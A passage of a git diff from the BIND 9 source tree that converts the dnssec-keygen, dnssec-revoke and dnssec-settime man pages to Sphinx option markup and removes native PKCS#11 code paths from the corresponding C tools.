-   built with native PKCS#11 cryptography (``--enable-native-pkcs11``), it
-   defaults to the path of the PKCS#11 provider library specified via
-   ``--with-pkcs11``.
+   hardware service module (usually ``pkcs11``).
+
+.. option:: -f flag
 
-``-f flag``
    This option sets the specified flag in the flag field of the KEY/DNSKEY record.
    The only recognized flags are KSK (Key-Signing Key) and REVOKE.
 
-``-G``
+.. option:: -F
+
+   This options turns on FIPS (US Federal Information Processing Standards)
+   mode if the underlying crytographic library supports running in FIPS
+   mode.
+
+.. option:: -G
+
    This option generates a key, but does not publish it or sign with it. This option is
-   incompatible with ``-P`` and ``-A``.
+   incompatible with :option:`-P` and :option:`-A`.
 
-``-g generator``
-   This option indicates the generator to use if generating a Diffie-Hellman key. Allowed
-   values are 2 and 5. If no generator is specified, a known prime from
-   :rfc:`2539` is used if possible; otherwise the default is 2.
+.. option:: -h
 
-``-h``
    This option prints a short summary of the options and arguments to
-   ``dnssec-keygen``.
+   :program:`dnssec-keygen`.
+
+.. option:: -K directory
 
-``-K directory``
    This option sets the directory in which the key files are to be written.
 
-``-k policy``
+.. option:: -k policy
+
    This option creates keys for a specific ``dnssec-policy``. If a policy uses multiple keys,
-   ``dnssec-keygen`` generates multiple keys. This also
+   :program:`dnssec-keygen` generates multiple keys. This also
    creates a ".state" file to keep track of the key state.
 
    This option creates keys according to the ``dnssec-policy`` configuration, hence
    it cannot be used at the same time as many of the other options that
-   ``dnssec-keygen`` provides.
+   :program:`dnssec-keygen` provides.
+
+.. option:: -L ttl
 
-``-L ttl``
    This option sets the default TTL to use for this key when it is converted into a
    DNSKEY RR. This is the TTL used when the key is imported into a zone,
    unless there was already a DNSKEY RRset in
@@ -148,26 +149,30 @@ Options
    defaults to the SOA TTL. Setting the default TTL to ``0`` or ``none``
    is the same as leaving it unset.
 
-``-l file``
+.. option:: -l file
+
    This option provides a configuration file that contains a ``dnssec-policy`` statement
-   (matching the policy set with ``-k``).
+   (matching the policy set with :option:`-k`).
+
+.. option:: -n nametype
 
-``-n nametype``
    This option specifies the owner type of the key. The value of ``nametype`` must
    either be ZONE (for a DNSSEC zone key (KEY/DNSKEY)), HOST or ENTITY
    (for a key associated with a host (KEY)), USER (for a key associated
    with a user (KEY)), or OTHER (DNSKEY). These values are
    case-insensitive. The default is ZONE for DNSKEY generation.
 
-``-p protocol``
+.. option:: -p protocol
+
    This option sets the protocol value for the generated key, for use with
-   ``-T KEY``. The protocol is a number between 0 and 255. The default
+   :option:`-T KEY <-T>`. The protocol is a number between 0 and 255. The default
    is 3 (DNSSEC). Other possible values for this argument are listed in
    :rfc:`2535` and its successors.
 
-``-q``
+.. option:: -q
+
    This option sets quiet mode, which suppresses unnecessary output, including progress
-   indication. Without this option, when ``dnssec-keygen`` is run
+   indication. Without this option, when :program:`dnssec-keygen` is run
    interactively to generate an RSA or DSA key pair, it prints a
    string of symbols to ``stderr`` indicating the progress of the key
    generation. A ``.`` indicates that a random number has been found which
@@ -175,7 +180,8 @@ Options
    round of the Miller-Rabin primality test; and a space ( ) means that the
    number has passed all the tests and is a satisfactory key.
 
-``-S key``
+.. option:: -S key
+
    This option creates a new key which is an explicit successor to an existing key.
    The name, algorithm, size, and type of the key are set to match
    the existing key. The activation date of the new key is set to
@@ -183,77 +189,104 @@ Options
    set to the activation date minus the prepublication interval,
    which defaults to 30 days.
 
-``-s strength``
+.. option:: -s strength
+
    This option specifies the strength value of the key. The strength is a number
    between 0 and 15, and currently has no defined purpose in DNSSEC.
 
-``-T rrtype``
+.. option:: -T rrtype
+
    This option specifies the resource record type to use for the key. ``rrtype``
    must be either DNSKEY or KEY. The default is DNSKEY when using a
    DNSSEC algorithm, but it can be overridden to KEY for use with
    SIG(0).
 
-``-t type``
-   This option indicates the type of the key for use with ``-T KEY``. ``type``
+.. option:: -t type
+
+   This option indicates the type of the key for use with :option:`-T KEY <-T>`. ``type``
    must be one of AUTHCONF, NOAUTHCONF, NOAUTH, or NOCONF. The default
    is AUTHCONF. AUTH refers to the ability to authenticate data, and
    CONF to the ability to encrypt data.
 
-``-V``
+.. option:: -V
+
    This option prints version information.
 
-``-v level``
+.. option:: -v level
+
    This option sets the debugging level.
 
 Timing Options
 ~~~~~~~~~~~~~~
 
-Dates can be expressed in the format YYYYMMDD or YYYYMMDDHHMMSS. If the
-argument begins with a ``+`` or ``-``, it is interpreted as an offset from
-the present time. For convenience, if such an offset is followed by one
-of the suffixes ``y``, ``mo``, ``w``, ``d``, ``h``, or ``mi``, then the offset is
-computed in years (defined as 365 24-hour days, ignoring leap years),
-months (defined as 30 24-hour days), weeks, days, hours, or minutes,
-respectively. Without a suffix, the offset is computed in seconds. To
-explicitly prevent a date from being set, use ``none`` or ``never``.
+Dates can be expressed in the format YYYYMMDD or YYYYMMDDHHMMSS
+(which is the format used inside key files),
+or 'Day Mon DD HH:MM:SS YYYY' (as printed by ``dnssec-settime -p``),
+or UNIX epoch time (as printed by ``dnssec-settime -up``),
+or the literal ``now``.
+
+The argument can be followed by ``+`` or ``-`` and an offset from the
+given time. The literal ``now`` can be omitted before an offset. The
+offset can be followed by one of the suffixes ``y``, ``mo``, ``w``,
+``d``, ``h``, or ``mi``, so that it is computed in years (defined as
+365 24-hour days, ignoring leap years), months (defined as 30 24-hour
+days), weeks, days, hours, or minutes, respectively. Without a suffix,
+the offset is computed in seconds.
+
+To unset a date, use ``none``, ``never``, or ``unset``.
+
+.. option:: -P date/offset
 
-``-P date/offset``
    This option sets the date on which a key is to be published to the zone. After
    that date, the key is included in the zone but is not used
-   to sign it. If not set, and if the ``-G`` option has not been used, the
+   to sign it. If not set, and if the :option:`-G` option has not been used, the
    default is the current date.
 
-``-P sync date/offset``
-   This option sets the date on which CDS and CDNSKEY records that match this key
-   are to be published to the zone.
+   .. program:: dnssec-keygen -P
+   .. option:: sync date/offset
+
+      This option sets the date on which CDS and CDNSKEY records that match this key
+      are to be published to the zone.
+
+.. program:: dnssec-keygen
+
+.. option:: -A date/offset
 
-``-A date/offset``
    This option sets the date on which the key is to be activated. After that date,
    the key is included in the zone and used to sign it. If not set,
-   and if the ``-G`` option has not been used, the default is the current date. If set,
-   and ``-P`` is not set, the publication date is set to the
+   and if the :option:`-G` option has not been used, the default is the current date. If set,
+   and :option:`-P` is not set, the publication date is set to the
    activation date minus the prepublication interval.
 
-``-R date/offset``
+.. option:: -R date/offset
+
    This option sets the date on which the key is to be revoked. After that date, the
    key is flagged as revoked. It is included in the zone and
    is used to sign it.
 
-``-I date/offset``
+.. option:: -I date/offset
+
    This option sets the date on which the key is to be retired. After that date, the
    key is still included in the zone, but it is not used to
    sign it.
 
-``-D date/offset``
+
+.. option:: -D date/offset
+
    This option sets the date on which the key is to be deleted. After that date, the
    key is no longer included in the zone. (However, it may remain in the key
    repository.)
 
-``-D sync date/offset``
-   This option sets the date on which the CDS and CDNSKEY records that match this
-   key are to be deleted.
+   .. program:: dnssec-keygen -D
+   .. option:: sync date/offset
+
+      This option sets the date on which the CDS and CDNSKEY records that match this
+      key are to be deleted.
+
+.. program:: dnssec-keygen
+
+.. option:: -i interval
 
-``-i interval``
    This option sets the prepublication interval for a key. If set, then the
    publication and activation dates must be separated by at least this
    much time. If the activation date is specified but the publication
@@ -274,7 +307,7 @@ explicitly prevent a date from being set, use ``none`` or ``never``.
 Generated Keys
 ~~~~~~~~~~~~~~
 
-When ``dnssec-keygen`` completes successfully, it prints a string of the
+When :program:`dnssec-keygen` completes successfully, it prints a string of the
 form ``Knnnn.+aaa+iiiii`` to the standard output. This is an
 identification string for the key it has generated.
 
@@ -284,12 +317,12 @@ identification string for the key it has generated.
 
 -  ``iiiii`` is the key identifier (or footprint).
 
-``dnssec-keygen`` creates two files, with names based on the printed
+:program:`dnssec-keygen` creates two files, with names based on the printed
 string. ``Knnnn.+aaa+iiiii.key`` contains the public key, and
 ``Knnnn.+aaa+iiiii.private`` contains the private key.
 
 The ``.key`` file contains a DNSKEY or KEY record. When a zone is being
-signed by ``named`` or ``dnssec-signzone -S``, DNSKEY records are
+signed by :iscman:`named` or :option:`dnssec-signzone -S`, DNSKEY records are
 included automatically. In other cases, the ``.key`` file can be
 inserted into a zone file manually or with an ``$INCLUDE`` statement.
 
@@ -308,7 +341,7 @@ The command prints a string of the form:
 
 ``Kexample.com.+013+26160``
 
-In this example, ``dnssec-keygen`` creates the files
+In this example, :program:`dnssec-keygen` creates the files
 ``Kexample.com.+013+26160.key`` and ``Kexample.com.+013+26160.private``.
 
 To generate a matching key-signing key, issue the command:
@@ -318,5 +351,5 @@ To generate a matching key-signing key, issue the command:
 See Also
 ~~~~~~~~
 
-:manpage:`dnssec-signzone(8)`, BIND 9 Administrator Reference Manual, :rfc:`2539`,
+:iscman:`dnssec-signzone(8) <dnssec-signzone>`, BIND 9 Administrator Reference Manual, :rfc:`2539`,
 :rfc:`2845`, :rfc:`4034`.
diff --git a/bin/dnssec/dnssec-revoke.c b/bin/dnssec/dnssec-revoke.c
index cf611851f3..ada83fd96a 100644
--- a/bin/dnssec/dnssec-revoke.c
+++ b/bin/dnssec/dnssec-revoke.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -22,26 +24,21 @@
 #include <isc/file.h>
 #include <isc/hash.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
 #include <dns/keyvalues.h>
-#include <dns/result.h>
 
 #include <dst/dst.h>
 
-#if USE_PKCS11
-#include <pk11/result.h>
-#endif /* if USE_PKCS11 */
-
 #include "dnssectool.h"
 
 const char *program = "dnssec-revoke";
 
 static isc_mem_t *mctx = NULL;
 
-ISC_NORETURN static void
+noreturn static void
 usage(void);
 
 static void
@@ -49,14 +46,7 @@ usage(void) {
 	fprintf(stderr, "Usage:\n");
 	fprintf(stderr, "    %s [options] keyfile\n\n", program);
 	fprintf(stderr, "Version: %s\n", PACKAGE_VERSION);
-#if USE_PKCS11
-	fprintf(stderr,
-		"    -E engine:    specify PKCS#11 provider "
-		"(default: %s)\n",
-		PK11_LIB_LOCATION);
-#else  /* if USE_PKCS11 */
 	fprintf(stderr, "    -E engine:    specify OpenSSL engine\n");
-#endif /* if USE_PKCS11 */
 	fprintf(stderr, "    -f:           force overwrite\n");
 	fprintf(stderr, "    -h:           help\n");
 	fprintf(stderr, "    -K directory: use directory for key files\n");
@@ -94,11 +84,6 @@ main(int argc, char **argv) {
 
 	isc_mem_create(&mctx);
 
-#if USE_PKCS11
-	pk11_result_register();
-#endif /* if USE_PKCS11 */
-	dns_result_register();
-
 	isc_commandline_errprint = false;
 
 	while ((ch = isc_commandline_parse(argc, argv, "E:fK:rRhv:V")) != -1) {
@@ -133,7 +118,7 @@ main(int argc, char **argv) {
 				fprintf(stderr, "%s: invalid argument -%c\n",
 					program, isc_commandline_option);
 			}
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case 'h':
 			/* Does not return. */
 			usage();
@@ -150,7 +135,8 @@ main(int argc, char **argv) {
 	}
 
 	if (argc < isc_commandline_index + 1 ||
-	    argv[isc_commandline_index] == NULL) {
+	    argv[isc_commandline_index] == NULL)
+	{
 		fatal("The key file name was not specified");
 	}
 	if (argc > isc_commandline_index + 1) {
@@ -204,7 +190,7 @@ main(int argc, char **argv) {
 
 	flags = dst_key_flags(key);
 	if ((flags & DNS_KEYFLAG_REVOKE) == 0) {
-		isc_stdtime_t now;
+		isc_stdtime_t now = isc_stdtime_now();
 
 		if ((flags & DNS_KEYFLAG_KSK) == 0) {
 			fprintf(stderr,
@@ -214,7 +200,6 @@ main(int argc, char **argv) {
 				program);
 		}
 
-		isc_stdtime_get(&now);
 		dst_key_settime(key, DST_TIME_REVOKE, now);
 
 		dst_key_setflags(key, flags | DNS_KEYFLAG_REVOKE);
diff --git a/bin/dnssec/dnssec-revoke.rst b/bin/dnssec/dnssec-revoke.rst
index 31da670cc2..052865fb7c 100644
--- a/bin/dnssec/dnssec-revoke.rst
+++ b/bin/dnssec/dnssec-revoke.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: dnssec-revoke
+.. program:: dnssec-revoke
 .. _man_dnssec-revoke:
 
 dnssec-revoke - set the REVOKED bit on a DNSSEC key
@@ -34,48 +26,53 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``dnssec-revoke`` reads a DNSSEC key file, sets the REVOKED bit on the
+:program:`dnssec-revoke` reads a DNSSEC key file, sets the REVOKED bit on the
 key as defined in :rfc:`5011`, and creates a new pair of key files
 containing the now-revoked key.
 
 Options
 ~~~~~~~
 
-``-h``
+.. option:: -h
+
    This option emits a usage message and exits.
 
-``-K directory``
+.. option:: -K directory
+
    This option sets the directory in which the key files are to reside.
 
-``-r``
+.. option:: -r
+
    This option indicates to remove the original keyset files after writing the new keyset files.
 
-``-v level``
+.. option:: -v level
+
    This option sets the debugging level.
 
-``-V``
+.. option:: -V
+
    This option prints version information.
 
-``-E engine``
+.. option:: -E engine
+
    This option specifies the cryptographic hardware to use, when applicable.
 
    When BIND 9 is built with OpenSSL, this needs to be set to the OpenSSL
    engine identifier that drives the cryptographic accelerator or
-   hardware service module (usually ``pkcs11``). When BIND is
-   built with native PKCS#11 cryptography (``--enable-native-pkcs11``), it
-   defaults to the path of the PKCS#11 provider library specified via
-   ``--with-pkcs11``.
+   hardware service module (usually ``pkcs11``).
+
+.. option:: -f
 
-``-f``
-   This option indicates a forced overwrite and causes ``dnssec-revoke`` to write the new key pair,
+   This option indicates a forced overwrite and causes :program:`dnssec-revoke` to write the new key pair,
    even if a file already exists matching the algorithm and key ID of
    the revoked key.
 
-``-R``
+.. option:: -R
+
    This option prints the key tag of the key with the REVOKE bit set, but does not
    revoke the key.
 
 See Also
 ~~~~~~~~
 
-:manpage:`dnssec-keygen(8)`, BIND 9 Administrator Reference Manual, :rfc:`5011`.
+:iscman:`dnssec-keygen(8) <dnssec-keygen>`, BIND 9 Administrator Reference Manual, :rfc:`5011`.
diff --git a/bin/dnssec/dnssec-settime.c b/bin/dnssec/dnssec-settime.c
index ef497b112b..fcd8c0cb53 100644
--- a/bin/dnssec/dnssec-settime.c
+++ b/bin/dnssec/dnssec-settime.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -24,28 +26,23 @@
 #include <isc/file.h>
 #include <isc/hash.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/time.h>
 #include <isc/util.h>
 
 #include <dns/keyvalues.h>
 #include <dns/log.h>
-#include <dns/result.h>
 
 #include <dst/dst.h>
 
-#if USE_PKCS11
-#include <pk11/result.h>
-#endif /* if USE_PKCS11 */
-
 #include "dnssectool.h"
 
 const char *program = "dnssec-settime";
 
 static isc_mem_t *mctx = NULL;
 
-ISC_NORETURN static void
+noreturn static void
 usage(void);
 
 static void
@@ -54,17 +51,7 @@ usage(void) {
 	fprintf(stderr, "    %s [options] keyfile\n\n", program);
 	fprintf(stderr, "Version: %s\n", PACKAGE_VERSION);
 	fprintf(stderr, "General options:\n");
-#if USE_PKCS11
-	fprintf(stderr,
-		"    -E engine:          specify PKCS#11 provider "
-		"(default: %s)\n",
-		PK11_LIB_LOCATION);
-#elif defined(USE_PKCS11)
-	fprintf(stderr, "    -E engine:          specify OpenSSL engine "
-			"(default \"pkcs11\")\n");
-#else  /* if USE_PKCS11 */
 	fprintf(stderr, "    -E engine:          specify OpenSSL engine\n");
-#endif /* if USE_PKCS11 */
 	fprintf(stderr, "    -f:                 force update of old-style "
 			"keys\n");
 	fprintf(stderr, "    -K directory:       set key file location\n");
@@ -215,7 +202,6 @@ main(int argc, char **argv) {
 	int prepub = -1;
 	int options;
 	dns_ttl_t ttl = 0;
-	isc_stdtime_t now;
 	isc_stdtime_t dstime = 0, dnskeytime = 0;
 	isc_stdtime_t krrsigtime = 0, zrrsigtime = 0;
 	isc_stdtime_t pub = 0, act = 0, rev = 0, inact = 0, del = 0;
@@ -251,6 +237,7 @@ main(int argc, char **argv) {
 	bool unsetdsadd = false, setdsadd = false;
 	bool unsetdsdel = false, setdsdel = false;
 	bool printdsadd = false, printdsdel = false;
+	isc_stdtime_t now = isc_stdtime_now();
 
 	options = DST_TYPE_PUBLIC | DST_TYPE_PRIVATE | DST_TYPE_STATE;
 
@@ -262,15 +249,8 @@ main(int argc, char **argv) {
 
 	setup_logging(mctx, &log);
 
-#if USE_PKCS11
-	pk11_result_register();
-#endif /* if USE_PKCS11 */
-	dns_result_register();
-
 	isc_commandline_errprint = false;
 
-	isc_stdtime_get(&now);
-
 #define CMDLINE_FLAGS "A:D:d:E:fg:hI:i:K:k:L:P:p:R:r:S:suv:Vz:"
 	while ((ch = isc_commandline_parse(argc, argv, CMDLINE_FLAGS)) != -1) {
 		switch (ch) {
@@ -359,7 +339,7 @@ main(int argc, char **argv) {
 				fprintf(stderr, "%s: invalid argument -%c\n",
 					program, isc_commandline_option);
 			}
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		case 'h':
 			/* Does not return. */
 			usage();
@@ -561,7 +541,8 @@ main(int argc, char **argv) {
 	}
 
 	if (argc < isc_commandline_index + 1 ||
-	    argv[isc_commandline_index] == NULL) {
+	    argv[isc_commandline_index] == NULL)
+	{
 		fatal("The key file name was not specified");
 	}
 	if (argc > isc_commandline_index + 1) {
@@ -569,7 +550,8 @@ main(int argc, char **argv) {
 	}
 
 	if ((setgoal || setds || setdnskey || setkrrsig || setzrrsig) &&
-	    !write_state) {
+	    !write_state)
+	{
 		fatal("Options -g, -d, -k, -r and -z require -s to be set");
 	}
 
diff --git a/bin/dnssec/dnssec-settime.rst b/bin/dnssec/dnssec-settime.rst
index 731e35ff8b..5cb4ea8370 100644
--- a/bin/dnssec/dnssec-settime.rst
+++ b/bin/dnssec/dnssec-settime.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: dnssec-settime
+.. program:: dnssec-settime
 .. _man_dnssec-settime:
 
 dnssec-settime: set the key timing metadata for a DNSSEC key
@@ -34,14 +26,14 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``dnssec-settime`` reads a DNSSEC private key file and sets the key
-timing metadata as specified by the ``-P``, ``-A``, ``-R``, ``-I``, and
-``-D`` options. The metadata can then be used by ``dnssec-signzone`` or
-other signing software to determine when a key is to be published,
-whether it should be used for signing a zone, etc.
+:program:`dnssec-settime` reads a DNSSEC private key file and sets the key
+timing metadata as specified by the :option:`-P`, :option:`-A`, :option:`-R`,
+:option:`-I`, and :option:`-D` options. The metadata can then be used by
+:iscman:`dnssec-signzone` or other signing software to determine when a key is
+to be published, whether it should be used for signing a zone, etc.
 
 If none of these options is set on the command line,
-``dnssec-settime`` simply prints the key timing metadata already stored
+:program:`dnssec-settime` simply prints the key timing metadata already stored
 in the key.
 
 When key metadata fields are changed, both files of a key pair
@@ -54,12 +46,12 @@ the key file. The private file's permissions are always set to be
 inaccessible to anyone other than the owner (mode 0600).
 
 When working with state files, it is possible to update the timing metadata in
-those files as well with ``-s``.  With this option, it is also possible to update key
-states with ``-d`` (DS), ``-k`` (DNSKEY), ``-r`` (RRSIG of KSK), or ``-z``
-(RRSIG of ZSK). Allowed states are HIDDEN, RUMOURED, OMNIPRESENT, and
-UNRETENTIVE.
+those files as well with :option:`-s`.  With this option, it is also possible
+to update key states with :option:`-d` (DS), :option:`-k` (DNSKEY), :option:`-r`
+(RRSIG of KSK), or :option:`-z` (RRSIG of ZSK). Allowed states are HIDDEN,
+RUMOURED, OMNIPRESENT, and UNRETENTIVE.
 
-The goal state of the key can also be set with ``-g``. This should be either
+The goal state of the key can also be set with :option:`-g`. This should be either
 HIDDEN or OMNIPRESENT, representing whether the key should be removed from the
 zone or published.
 
@@ -69,19 +61,22 @@ purposes.
 Options
 ~~~~~~~
 
-``-f``
+.. option:: -f
+
    This option forces an update of an old-format key with no metadata fields. Without
-   this option, ``dnssec-settime`` fails when attempting to update a
+   this option, :program:`dnssec-settime` fails when attempting to update a
    legacy key. With this option, the key is recreated in the new
    format, but with the original key data retained. The key's creation
    date is set to the present time. If no other values are
    specified, then the key's publication and activation dates are also
    set to the present time.
 
-``-K directory``
+.. option:: -K directory
+
    This option sets the directory in which the key files are to reside.
 
-``-L ttl``
+.. option:: -L ttl
+
    This option sets the default TTL to use for this key when it is converted into a
    DNSKEY RR. This is the TTL used when the key is imported into a zone,
    unless there was already a DNSKEY RRset in
@@ -90,78 +85,104 @@ Options
    defaults to the SOA TTL. Setting the default TTL to ``0`` or ``none``
    removes it from the key.
 
-``-h``
+.. option:: -h
+
    This option emits a usage message and exits.
 
-``-V``
+.. option:: -V
+
    This option prints version information.
 
-``-v level``
+.. option:: -v level
+
    This option sets the debugging level.
 
-``-E engine``
+.. option:: -E engine
+
    This option specifies the cryptographic hardware to use, when applicable.
 
    When BIND 9 is built with OpenSSL, this needs to be set to the OpenSSL
    engine identifier that drives the cryptographic accelerator or
-   hardware service module (usually ``pkcs11``). When BIND is
-   built with native PKCS#11 cryptography (``--enable-native-pkcs11``), it
-   defaults to the path of the PKCS#11 provider library specified via
-   ``--with-pkcs11``.
+   hardware service module (usually ``pkcs11``).
 
 Timing Options
 ~~~~~~~~~~~~~~
 
-Dates can be expressed in the format YYYYMMDD or YYYYMMDDHHMMSS. If the
-argument begins with a ``+`` or ``-``, it is interpreted as an offset from
-the present time. For convenience, if such an offset is followed by one
-of the suffixes ``y``, ``mo``, ``w``, ``d``, ``h``, or ``mi``, then the offset is
-computed in years (defined as 365 24-hour days, ignoring leap years),
-months (defined as 30 24-hour days), weeks, days, hours, or minutes,
-respectively. Without a suffix, the offset is computed in seconds. To
-explicitly prevent a date from being set, use ``none`` or ``never``.
+Dates can be expressed in the format YYYYMMDD or YYYYMMDDHHMMSS
+(which is the format used inside key files),
+or 'Day Mon DD HH:MM:SS YYYY' (as printed by ``dnssec-settime -p``),
+or UNIX epoch time (as printed by ``dnssec-settime -up``),
+or the literal ``now``.
+
+The argument can be followed by ``+`` or ``-`` and an offset from the
+given time. The literal ``now`` can be omitted before an offset. The
+offset can be followed by one of the suffixes ``y``, ``mo``, ``w``,
+``d``, ``h``, or ``mi``, so that it is computed in years (defined as
+365 24-hour days, ignoring leap years), months (defined as 30 24-hour
+days), weeks, days, hours, or minutes, respectively. Without a suffix,
+the offset is computed in seconds.
+
+To unset a date, use ``none``, ``never``, or ``unset``.
+
+All these formats are case-insensitive.
+
+.. option:: -P date/offset
 
-``-P date/offset``
    This option sets the date on which a key is to be published to the zone. After
    that date, the key is included in the zone but is not used
    to sign it.
 
-``-P ds date/offset``
-   This option sets the date on which DS records that match this key have been
-   seen in the parent zone.
+   .. program:: dnssec-settime -P
+   .. option:: ds date/offset
+
+      This option sets the date on which DS records that match this key have been
+      seen in the parent zone.
+
+   .. option:: sync date/offset
 
-``-P sync date/offset``
-   This option sets the date on which CDS and CDNSKEY records that match this key
-   are to be published to the zone.
+      This option sets the date on which CDS and CDNSKEY records that match this key
+      are to be published to the zone.
+
+.. program:: dnssec-settime
+
+.. option:: -A date/offset
 
-``-A date/offset``
    This option sets the date on which the key is to be activated. After that date,
-   the key is included in the zone and used to sign it. 
+   the key is included in the zone and used to sign it.
+
+.. option:: -R date/offset
 
-``-R date/offset``
    This option sets the date on which the key is to be revoked. After that date, the
    key is flagged as revoked. It is included in the zone and
    is used to sign it.
 
-``-I date/offset``
+.. option:: -I date/offset
+
    This option sets the date on which the key is to be retired. After that date, the
    key is still included in the zone, but it is not used to
    sign it.
 
-``-D date/offset``
+.. option:: -D date/offset
+
    This option sets the date on which the key is to be deleted. After that date, the
    key is no longer included in the zone. (However, it may remain in the key
    repository.)
 
-``-D ds date/offset``
-   This option sets the date on which the DS records that match this key have
-   been seen removed from the parent zone.
+   .. program:: dnssec-settime -D
+   .. option:: ds date/offset
+
+      This option sets the date on which the DS records that match this key have
+      been seen removed from the parent zone.
+
+   .. option:: sync date/offset
+
+      This option sets the date on which the CDS and CDNSKEY records that match this
+      key are to be deleted.
+
+.. program:: dnssec-settime
 
-``-D sync date/offset``
-   This option sets the date on which the CDS and CDNSKEY records that match this
-   key are to be deleted.
+.. option:: -S predecessor key
 
-``-S predecessor key``
    This option selects a key for which the key being modified is an explicit
    successor. The name, algorithm, size, and type of the predecessor key
    must exactly match those of the key being modified. The activation
@@ -169,7 +190,8 @@ explicitly prevent a date from being set, use ``none`` or ``never``.
    predecessor. The publication date is set to the activation date
    minus the prepublication interval, which defaults to 30 days.
 
-``-i interval``
+.. option:: -i interval
+
    This option sets the prepublication interval for a key. If set, then the
    publication and activation dates must be separated by at least this
    much time. If the activation date is specified but the publication
@@ -196,36 +218,44 @@ purpose, but should never be used in production.
 
 Known key states are HIDDEN, RUMOURED, OMNIPRESENT, and UNRETENTIVE.
 
-``-s``
+.. option:: -s
+
    This option indicates that when setting key timing data, the state file should also be updated.
 
-``-g state``
+.. option:: -g state
+
    This option sets the goal state for this key. Must be HIDDEN or OMNIPRESENT.
 
-``-d state date/offset``
+.. option:: -d state date/offset
+
    This option sets the DS state for this key as of the specified date, offset from the current date.
 
-``-k state date/offset``
+.. option:: -k state date/offset
+
    This option sets the DNSKEY state for this key as of the specified date, offset from the current date.
 
-``-r state date/offset``
+.. option:: -r state date/offset
+
    This option sets the RRSIG (KSK) state for this key as of the specified date, offset from the current date.
 
-``-z state date/offset``
+.. option:: -z state date/offset
+
    This option sets the RRSIG (ZSK) state for this key as of the specified date, offset from the current date.
 
 Printing Options
 ~~~~~~~~~~~~~~~~
 
-``dnssec-settime`` can also be used to print the timing metadata
+:program:`dnssec-settime` can also be used to print the timing metadata
 associated with a key.
 
-``-u``
+.. option:: -u
+
    This option indicates that times should be printed in Unix epoch format.
 
-``-p C/P/Pds/Psync/A/R/I/D/Dds/Dsync/all``
+.. option:: -p C/P/Pds/Psync/A/R/I/D/Dds/Dsync/all
+
    This option prints a specific metadata value or set of metadata values.
-   The ``-p`` option may be followed by one or more of the following letters or
+   The :option:`-p` option may be followed by one or more of the following letters or
    strings to indicate which value or values to print: ``C`` for the
    creation date, ``P`` for the publication date, ``Pds` for the DS publication
    date, ``Psync`` for the CDS and CDNSKEY publication date, ``A`` for the
@@ -237,5 +267,5 @@ associated with a key.
 See Also
 ~~~~~~~~
 
-:manpage:`dnssec-keygen(8)`, :manpage:`dnssec-signzone(8)`, BIND 9 Administrator Reference Manual,
+:iscman:`dnssec-keygen(8) <dnssec-keygen>`, :iscman:`dnssec-signzone(8) <dnssec-signzone>`, BIND 9 Administrator Reference Manual,
 :rfc:`5011`.
diff --git a/bin/dnssec/dnssec-signzone.c b/bin/dnssec/dnssec-signzone.c
index 63105f703b..311f451020 100644
--- a/bin/dnssec/dnssec-signzone.c
+++ b/bin/dnssec/dnssec-signzone.c
@@ -1,6 +1,8 @@
 /*
  * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -31,28 +33,32 @@
 #include <time.h>
